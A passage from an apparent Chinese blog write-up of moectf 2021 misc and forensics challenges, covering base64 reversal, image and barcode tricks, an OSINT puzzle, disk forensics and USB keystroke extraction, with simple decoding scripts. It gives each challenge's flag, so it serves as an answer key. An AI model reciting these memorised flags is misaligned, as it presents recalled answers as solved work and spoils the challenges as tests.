string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e第一遍看着解出来好东西了,然后第二遍解出来不知道一堆啥东西……然后又不会整了。\u003c/p\u003e\u003cp\u003e突然发现第一遍解出来的东西开头是 \u003ccode\u003e==\u003c/code\u003e ,再想想题目名字……base64倒过来了属于是,然后整了个反转的脚本\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后就这么xjb整……遇见解出来不对劲的就反转……然后通过智能人工整了70多次。。。从100多MB整到1KB……得到flag\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/3NzvcCOM6ZYuqRW.png\" alt=\"filp\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{fffffflipppppp}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-White-Album\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#06-White-Album\" class=\"headerlink\" title=\"06 White Album\"\u003e\u003c/a\u003e06 White Album\u003c/h3\u003e\u003cp\u003e看到 \u003ccode\u003e.png\u003c/code\u003e ,就猜要么是LSB要么是图片尺寸问题,试了一下果然是图片尺寸,在\u003ccode\u003e010 Editor\u003c/code\u003e 里改了下尺寸得到一个申必图案\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZpC9ox3itfAJLQm.jpg\" alt=\"whilt\" style=\"zoom:80%;\"/\u003e\u003cp\u003e猜了下是条码,就搜了下条码图案,发现是 \u003ccode\u003epdf417\u003c/code\u003e ,想找个在线扫的发现很难找,最后找到个网站可以解这个\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://online-barcode-reader.inliteresearch.com/\"\u003ehttps://online-barcode-reader.inliteresearch.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{WhY_@r3_u_s0_5K1ll3D}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-Phone-Call\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#07-Phone-Call\" class=\"headerlink\" title=\"07 Phone Call\"\u003e\u003c/a\u003e07 Phone Call\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"http://dyf.ink/crypto/classical/others/#_24\"\u003ehttp://dyf.ink/crypto/classical/others/#_24\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cg1510167/article/details/114279633\"\u003ehttps://blog.csdn.net/cg1510167/article/details/114279633\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_33806914/article/details/91868832\"\u003ehttps://blog.csdn.net/weixin_33806914/article/details/91868832\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e就拖进AE看就行,手动一个一个解的,得到\u003cdel\u003e很臭的\u003c/del\u003eflag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{114514-1919810-7738-9634}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"08-社工题\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#08-%E7%A4%BE%E5%B7%A5%E9%A2%98\" class=\"headerlink\" title=\"08 社工题\"\u003e\u003c/a\u003e08 社工题\u003c/h3\u003e\u003cp\u003e这题可太草了,从假期整到开学……原来有4个博客2个仓库……\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://noahtie.github.io/\"\u003eNoahBox (noahtie.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://noahbox.github.io/\"\u003ehttps://noahbox.github.io/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://nuoyazhicheng.lofter.com/\"\u003ehttps://nuoyazhicheng.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://masternoah.lofter.com/\"\u003ehttps://masternoah.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在hexo博客点签订契约进入lofter博客,在lofter博客点一下上面 \u003cstrong\u003ei\u003c/strong\u003e 一样的标志找到另一个hexo博客,在里面留言板里找到了 HackerHS,最后找到第二个仓库根据意思在里面找到commits,发现莫斯电码,复制到在线网站解密,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HAHAHAHAH_NOAH_IS_A_VEGETABLE_CHICKEN}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"09-好-康-的\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#09-%E5%A5%BD-%E5%BA%B7-%E7%9A%84\" class=\"headerlink\" title=\"09 好 康 的\"\u003e\u003c/a\u003e09 好 康 的\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\"/\u003e\u003cp\u003e(被骗一次,之后就会被骗第二次\u003c/p\u003e\u003cp\u003e太草了,放完发现后面有一段不能放,用 \u003ccode\u003emkvtoolnix\u003c/code\u003e 分离出来字幕,拖进\u003ccode\u003e010 Editor\u003c/code\u003e 直接搜索 \u003ccode\u003emoectf\u003c/code\u003e ,找到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{N3v3r_90tt@_L3t-y0U_dOwN~}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"10-easyForensics\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#10-easyForensics\" class=\"headerlink\" title=\"10 easyForensics\"\u003e\u003c/a\u003e10 easyForensics\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\"\u003ehttps://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_37865996/article/details/87970732\"\u003ehttps://blog.csdn.net/qq_37865996/article/details/87970732\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\"\u003ehttp://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e找了半天,用 \u003ccode\u003eAccessData FTK Imager\u003c/code\u003e 打开,挂载,进入,翻目录找到 \u003ccode\u003eflag.mp4\u003c/code\u003e 一气呵成\u003c/p\u003e\u003cp\u003e打开 \u003ccode\u003eflag.mp4\u003c/code\u003e \u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\"/\u003e\u003cp\u003e草\u003c/p\u003e\u003cp\u003e又经过了漫长的鼓捣,最后在 \u003ccode\u003eFTK\u003c/code\u003e 里发现一些被删除的文件夹还有一个python文件,都是申必的命名,全部导出来,读了代码发现是把一个文件转成base64了,这里要注意 \u003ccode\u003edata = data.replace(\u0026#34;/\u0026#34;, \u0026#34;_\u0026#34;)\u003c/code\u003e\u003c/p\u003e\u003cp\u003e写了个脚本把文件夹的名字提取了出来(发现写了两个,好像差不多,随便粘一个)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# -*- coding: utf-8 -*-\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sysfile_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(之后目录省略)\u0026#39;\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e root\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dirs\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e files \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewalk\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efile_dir\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e var \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e root s \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e var\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereplace\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(之后目录省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003es\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后用脚本把base64转文件,还搜了个大佬写的图形化工具,(最后发现是个word)得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th@_1s_N0t_U53FULL_@_4LL}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"11-R-P-G\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#11-R-P-G\" class=\"headerlink\" title=\"11 R P G\"\u003e\u003c/a\u003e11 R P G\u003c/h3\u003e\u003cp\u003e是游戏捏,按F12还能出来 DevTools 捏,本来想怎么改地图直接穿过去,发现不会整,然后又改了下等级,好像也没啥用,然后又整了一下一进去就是第二个,还是不会整,最后在\u003ccode\u003eMap002.json\u003c/code\u003e 里发现了好像base64的申必字符,然后复制出来,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th3_w0rld_0f_G4m3}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"12-诺亚的日记\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#12-%E8%AF%BA%E4%BA%9A%E7%9A%84%E6%97%A5%E8%AE%B0\" class=\"headerlink\" title=\"12 诺亚的日记\"\u003e\u003c/a\u003e12 诺亚的日记\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e我超,嘉心糖\u003c/del\u003e\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qiuchi1975/article/details/106149854/\"\u003ehttps://blog.csdn.net/qiuchi1975/article/details/106149854/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u012388993/article/details/116395497\"\u003ehttps://blog.csdn.net/u012388993/article/details/116395497\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codercto.com/a/109222.html\"\u003ehttps://www.codercto.com/a/109222.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.anquanke.com/post/id/85218\"\u003ehttps://www.anquanke.com/post/id/85218\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/ba9763ceb620\"\u003ehttps://www.jianshu.com/p/ba9763ceb620\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e是个流量包捏,随便翻了一下里面 \u003ccode\u003eHID Data\u003c/code\u003e 里好像有好东西捏,但怎么提取出来捏?看了上面的博客,先把流量包用 \u003ccode\u003etshark\u003c/code\u003e 转换成json,找到 \u003ccode\u003eHID Data\u003c/code\u003e 叫啥,然后再提出来\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e json \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e test.json\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e fields \u003cspan class=\"token parameter variable\"\u003e-e\u003c/span\u003e usbhid.data \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e usbdata.txt\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后看博客里面只有两位是有用的,然后就是对着表翻译。找了好多脚本都是错的,交了很多次……最后终于找到个有用的\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# coding:utf-8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sys\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e osusb_codes \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x04\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;aA\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x05\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;bB\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;cC\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x07\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;dD\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;eE\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;fF\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;gG\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;hH\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;iI\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;jJ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;kK\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;lL\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;mM\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;nN\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;oO\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;pP\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;qQ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;rR\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sS\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;tT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x18\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;uU\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;vV\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;wW\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;xX\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;yY\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;zZ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1!\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;2@\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;3#\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x21\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;4$\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token 